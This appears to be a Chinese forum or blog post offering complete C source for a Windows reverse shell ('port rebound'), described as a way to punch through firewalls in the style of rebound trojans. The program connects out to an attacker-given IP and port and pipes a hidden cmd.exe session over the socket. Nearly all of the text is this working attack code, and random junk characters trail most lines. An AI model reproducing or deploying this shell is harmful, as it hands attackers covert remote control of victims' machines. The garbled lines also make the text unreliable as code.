Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 q!oZ; $  
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/* ============================== dBq,O%$oq  
Rebound port in Windows NT h9n<ped`A;  
By wind,2006/7 j&G~;(DY  
===============================*/ l;VGJMPi  
#include (b2^d  
#include J%[N-  
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#pragma comment(lib,"wsock32.lib") }9Dv\"
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void OutputShell(); c%3 @J+z  
SOCKET sClient; 53&xTcv}x  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zUgkY`]:BJ  
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void main(int argc,char **argv) n_Hnk4  
{ MLIQ 8=  
WSADATA stWsaData; [Z Gj7  
int nRet; Cg\)BHv~  
SOCKADDR_IN stSaiClient,stSaiServer; ieF 0<'iF  
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if(argc != 3) v*]Xur6e}  
{ YK+Z0ry  
printf("Useage:\n\rRebound DestIP DestPort\n"); .6/p4OR|  
return; r|F,\fF  
} <@j  
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WSAStartup(MAKEWORD(2,2),&stWsaData); np>!lF:  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (X7yNIPfA  
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stSaiClient.sin_family = AF_INET; ,Y5 4(>>%  
stSaiClient.sin_port = htons(0); #<>E+r+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~t3?er& R  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0|Ft0y`+  
{ !9cPNIi  
printf("Bind Socket Failed!\n"); +
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return; w>UV\`x  
} )ZU#19vr7  
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stSaiServer.sin_family = AF_INET; >)Z2bCe  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8=Y|B5  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 43Uy<%yb>}  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) r$eL-jQmn  
{ |w]i$`3
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printf("Connect Error!"); &ziB#(&:H  
return; 8A]q!To  
} ;B7|tajd  
OutputShell(); G8-d%O p  
} %LlKi5u]  
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void OutputShell()
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{ ^a5~FI:  
char szBuff[1024]; 4GejT(
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SECURITY_ATTRIBUTES stSecurityAttributes; 4i&!V9@:  
OSVERSIONINFO stOsversionInfo; pR7G/]U$A  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ct/THq  
STARTUPINFO stStartupInfo; Z$K%@q,10+  
char *szShell; "Ksd9,J\b  
PROCESS_INFORMATION stProcessInformation; !m5\w>  
unsigned long lBytesRead; `CouP-g.  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *<5lx[:4/x  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #{`NJ2DU]  
stSecurityAttributes.lpSecurityDescriptor = 0; {"(|oIo{  
stSecurityAttributes.bInheritHandle = TRUE; kZEy
 
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); mYRR==iDL  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r~a}B.pj  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); m,_oX1h  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1fp&"K:yR  
stStartupInfo.wShowWindow = SW_HIDE; a'fb0fz  
stStartupInfo.hStdInput = hReadPipe; bbA<Zp  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j*\MUR=  
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GetVersionEx(&stOsversionInfo); ?&^l8gE  
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switch(stOsversionInfo.dwPlatformId) 3VgH*vAU}  
{ I`lH6hHp  
case 1: \srOU|  
szShell = "command.com"; <"9Z7" >  
break; .qP zd(<T7  
default: n8C {Okr  
szShell = "cmd.exe"; !}m8]&  
break; }E_zW.{!  
} j+v)I=  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %j`]x -aOz  
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send(sClient,szMsg,77,0); ~.SU$  
while(1) nW[aPQ[R  
{ .^W0;ISX  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); p{u}t!`!d  
if(lBytesRead) @}}1xP4Sr  
{ ^U1+D^AJ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); yrb%g~ELGn  
send(sClient,szBuff,lBytesRead,0); I*t}gvUt9  
} _J`M>W)8  
else '7%9Sqx  
{ I!%@|[ Ow  
lBytesRead=recv(sClient,szBuff,1024,0); `Q[$R&\  
if(lBytesRead<=0) break; e=C,`&sz  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); EH%j$=@X  
} [#V!XdQ,  
} 3 g!h4?^  
(9h{6rc=I  
return; )v.FAV:  
}